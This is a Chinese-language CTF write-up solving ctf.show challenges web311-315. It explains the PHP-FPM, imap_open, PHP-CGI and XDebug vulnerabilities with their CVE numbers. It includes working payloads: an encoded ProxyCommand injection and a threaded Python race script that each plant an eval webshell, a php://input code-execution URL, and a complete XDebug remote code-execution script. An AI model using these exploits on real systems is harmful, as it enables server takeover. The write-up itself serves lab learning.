CTFSHOW | phpCVE题解 web311 - web315

文章目录

题目列表

web311

打开题目环境,先看看题目使用了什么语言和服务,F12打开网络 ,或者用Wappalyer查看

可以看到目标环境为 Nginx + PHP-FPM,且PHP版本为7.1

上网搜索对应的漏洞,发现CVE-2019-11043符合我们的要求

具体可以参考链接:https://cloud.tencent.com/developer/article/1530703

漏洞描述

CVE-2019-11043 是一个重要的 PHP-FPM 远程代码执行漏洞,主要影响配置不当的 Nginx + PHP-FPM 网站,攻击者可利用该漏洞执行任意 PHP 代码,进而控制目标服务器

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常

该漏洞需要在nginx.conf中进行特定配置才能触发,具体配置如下:

复制代码
location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

当用户在请求路径中插入编码为 %0a 的换行符,Nginx 的正则处理会使 PATH_INFO 为空。传递给 PHP-FPM 后,由于变量长度与内容可被精确控制,进而影响内存布局,使攻击者可构造特殊的 FastCGI 参数(如可控伪造 PHP_VALUE

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0
  • PHP 7.1
  • PHP 7.2
  • PHP 7.3

这题要用到的工具是phuip-fpizdam,项目地址:https://github.com/neex/phuip-fpizdam

该工具是基于Go语言构建的,需要先搭建好环境

复制代码
#更新本地软件包
apt-get update

#安装Go
apt install golang

#验证
go -version

然后github下载工具

复制代码
#克隆项目到本地
git clone https://github.com/neex/phuip-fpizdam.git

#进入工具目录
cd phuip-fpizdam

#获取依赖包和编译代码
go get -v && go build

然后使用工具执行命令,地址换成自己的

bash 复制代码
go run . "http://d654f5bf-2024-4d68-a045-c216dba47a44.challenge.ctf.show/index.php"

最后返回题目,在/index.php?a=执行命令即可,如果没反应就多执行几次

flag在fl0gHe1e.txt里面,执行/index.php?a=cat fl0gHe1e.txt即可

web312

打开题目,可以看到一个邮箱登录框

目标环境为Nginx和PHP5.6.38

网上搜索一番,发现CVE-2018-19518符合我们的要求

参考链接:https://blog.csdn.net/weixin_45605352/article/details/116517889

什么是IMAP

IMAP(Internet Message Access Protocol,互联网邮件访问协议)是一种用于从邮件服务器远程访问和管理电子邮件的标准协议。与传统的POP3不同,IMAP允许用户在多个设备上同步邮箱状态,邮件内容保留在服务器上,用户对邮件的操作如读取、删除都会实时反馈到服务器,便于多设备协同管理邮箱,实现更灵活和在线的邮件访问体验,通常端口是143

漏洞描述

CVE-2018-19518 是PHP IMAP远程命令执行漏洞,漏洞存在于PHP IMAP扩展的imap_open()函数,该函数用于连接IMAP邮件服务器,受到影响的环境通常运行在类Unix系统上,PHP通过imap_open连接远程IMAP服务时会调用底层rsh命令尝试连接

漏洞成因

imap_open()函数中,IMAP服务器名称作为参数传递给rsh(远程shell)命令,在部分系统中,rsh命令被替换为ssh(比如Debian、Ubuntu),而ssh支持更多复杂的命令参数。攻击者可以在构造的IMAP服务器名称中注入-oProxyCommand=参数,这些参数被ssh解释执行,从而执行任意系统命令

imap_open(string $mailbox , string $username , string $password)函数中的mailbox是执行命令参数的一部分,所以我们可以通过更改邮箱名来进行命令注入执行

影响范围

漏洞影响PHP多个版本,包括5.6.0至5.6.38,7.0.0至7.0.32,7.1.0至7.1.24,7.2.0至7.2.12等版本

现在回到题目,先随便输入几个数,看看表单数据

可以看到这里POST上传了三个参数,因为imap_open(string $mailbox , string $username , string $password)函数中的mailbox是执行命令参数的一部分,所以我们可以通过更改它来进行命令注入执行

原始payload:

复制代码
x+-oProxyCommand=echo	echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64	-d|sh}

对内容进行base64编码,符号进行URL编码,%3d是等号,%09是制表符

复制代码
x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}

最终payload:

复制代码
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=111&password=222

显示下面结果即为成功

然后蚁剑连接webshell

成功找到flag

web313

打开题目,先看看目标环境

也是Nginx + PHP,且PHP版本为5.4.1,上网搜索对应可能的漏洞,发现CVE-2012-1823符合我们的要求

参考链接:https://www.cnblogs.com/lthlsy/p/14820076.html

漏洞描述

CVE-2012-1823 是 PHP-CGI 远程代码执行漏洞,主要出现在 PHP-CGI 模式下。该模式下 PHP 响应 HTTP 请求的方式存在缺陷,导致攻击者能够通过特别构造的 URL 参数,动态修改 PHP 的运行时配置

漏洞成因

漏洞来源于 PHP-CGI 对命令行参数的处理不严谨,攻击者可以在 URL 中插入以 -d 开头的参数(如 -d allow_url_include=1 -d auto_prepend_file=php://input),这些参数本应只由命令行传递,却被 PHP-CGI 错误地解析为运行配置。这就允许攻击者开启危险功能,或通过指定 auto_prepend_file 使 PHP 在执行时读取并执行 HTTP 请求体中的恶意代码,从而实现远程执行任意 PHP 代码

影响范围

该漏洞影响 PHP 5.3.x 和 5.4.x 的早期版本(PHP < 5.3.12 ,PHP < 5.4.2),尤其是在使用 CGI 模式处理请求的环境中更易受害。生产环境中,许多使用 Nginx 反向代理 PHP-CGI 的站点因未做适当配置而成为攻击目标

CGI模式下有如下可控命令行参数可用

复制代码
-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h和-? 显示帮助

可以用-s显示文件源码

证明确实存在该漏洞,接下来就是执行payload了

复制代码
/index.php?-d+allow_url_include=1+-d+auto_prepend_file=php://input

URL编码,%3d是等号,%3a是冒号

复制代码
/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp%3a//input

然后请求体写PHP代码执行命令

php 复制代码
<?php echo system("ls");?>

最后在/somewhere找到flag

web314

打开题目,可以看到给出了源码,但是由于禁了冒号,没办法用伪协议

可以正常读取文件

扫描目录,发现有个/phpinfo.php,题目里的源码注释也有提示

拼接进URL访问,发现开启了session,且session.name为PHPSESSID

可以用PHP_SESSION_UPLOAD_PROGRESS进行文件包含,用到条件竞争

payload:

python 复制代码
import requests
import io
import threading

url = 'http://b14a333f-6a35-4dea-b3e3-d016a1f023b2.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
    }
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        session.post(url,cookies={'PHPSESSID':'hello'},data=data,files={'file':('xxx',f)})

def read(session):
    while event.isSet():
        response = session.post(url+'?f=/tmp/sess_hello')
        if 'success!' in response.text:
            print("写入成功,访问1.php getshell")
            event.clear()
            break
        else:
            pass

if __name__=='__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(10):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(10):
            threading.Thread(target=read,args=(session,)).start()

显示写入成功即可

蚁剑连接webshell

在根目录成功找到flag

还有一个方法就是用UA头进行日志文件包含

URL拼接参数?f=/var/log/nginx/access.log,然后UA头写入<?php eval($_POST[1]);?>,最后Body写入命令POST发送执行即可

执行命令得到flag

web315

题目提示debug开启,端口9000

上网搜了一下对应漏洞,发现XDebug 远程调试漏洞符合我们的要求

参考链接:https://blog.csdn.net/zy15667076526/article/details/111824491

XDebug 远程调试漏洞 是一种因XDebug扩展的远程调试功能配置不当而引发的严重安全风险。XDebug是PHP的一个调试扩展,主要帮助开发者远程调试PHP代码,比如通过IDE连接服务器进行代码断点调试。当XDebug开启远程调试且配置了xdebug.remote_connect_back=1(或在新版XDebug中对应的xdebug.discover_client_host=1),XDebug会自动尝试连接发起HTTP请求客户端的IP地址以建立调试会话

这个自动"回连"机制如果暴露在公网环境中,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)。连接建立后,攻击者可以通过调试协议(DBGp)主动执行PHP代码,利用该功能中的eval接口实现任意代码执行(RCE)。由于XDebug调试协议没有身份验证,攻击者几乎可以完全控制运行PHP代码的服务器进程

我们可以输入/index.php?XDEBUG_SESSION_START=phpstorm验证一下

响应头中出现了 Set-Cookie: XDEBUG_SESSION=phpstorm,这表示服务器上的 PHP 在启用了 XDebug 调试扩展,并且远程调试功能被激活了,因此可以判断漏洞存在

这个漏洞的利用要用到脚本,可以命名为exp.py

payload:

python 复制代码
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
import socketserver
import threading
import logging

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
server_done = threading.Event()
server_started = threading.Event()


def recv_xml(sock: socket.socket) -> bytes:
    blocks = []
    data = b''
    while True:
        try:
            data = data + sock.recv(1024)
        except socket.error as e:
            break
        if not data:
            break

        while data:
            eop = data.find(b'\x00')
            if eop < 0:
                break
            blocks.append(data[:eop])
            data = data[eop+1:]

        if len(blocks) >= 4:
            break
    
    return blocks[3]


class XDebugRequestHandler(socketserver.BaseRequestHandler):
    def handle(self):
        logging.info('[+] Recieve data from %s', self.client_address)
        self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
        data = recv_xml(self.request)
        logging.info('[+] Recieve data: ' + data.decode())
        g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
        if not g:
            logging.warning('[-] No result...')
            return
        
        data = g.group(1)
        try:
            logging.info('[+] Result: ' + base64.b64decode(data).decode())
            server_done.set()
        except binascii.Error as e:
            logging.error('[-] May be not string result: %s', e)


class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    def __init__(self, server_address, handler_class, code):
        self.code = code
        self.allow_reuse_address = True
        super().__init__(server_address, handler_class)

    def server_activate(self):
        super().server_activate()
        logging.info('[+] Server %s started', self.server_address)
        server_started.set()


def start_dbgp_server(port: int, code: str):
    server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
    server_thread = threading.Thread(target=server.serve_forever, daemon=True)
    server_thread.start()
    
    return server_thread


def trigger_debug_session(url: str, attack_ip: str):
    try:
        server_started.wait(timeout=5)
        logging.info('[+] Trigger debug session')
        headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
        }
        if attack_ip:
            headers['X-Forwarded-For'] = attack_ip

        requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
    except:
        pass


def main():
    parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
    parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
    parser.add_argument('-t', '--target', required=True, help='target url.')
    parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
    args = parser.parse_args()

    start_dbgp_server(9000, args.code)
    start_dbgp_server(9003, args.code)
    threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
    try:
        # Wait with a timeout, but check for interrupts
        for i in range(20):
            if server_done.is_set():
                break
            time.sleep(0.5)
        else:
            logging.error('[-] Execution timed out')            
    except KeyboardInterrupt:
        logging.info('[*] Received keyboard interrupt, exiting...')


if __name__ == '__main__':
    main()

然后执行命令,这里用题目给的备用地址http://pwn.challenge.ctf.show:28100/

bash 复制代码
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("ls");'

cat flaaaxx.php即可,成功拿到flag

bash 复制代码
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("cat flaaaxx.php");'
复制代码
ctfshow{8838-562d8118-4706-427f-8be2-a89a45c752cb}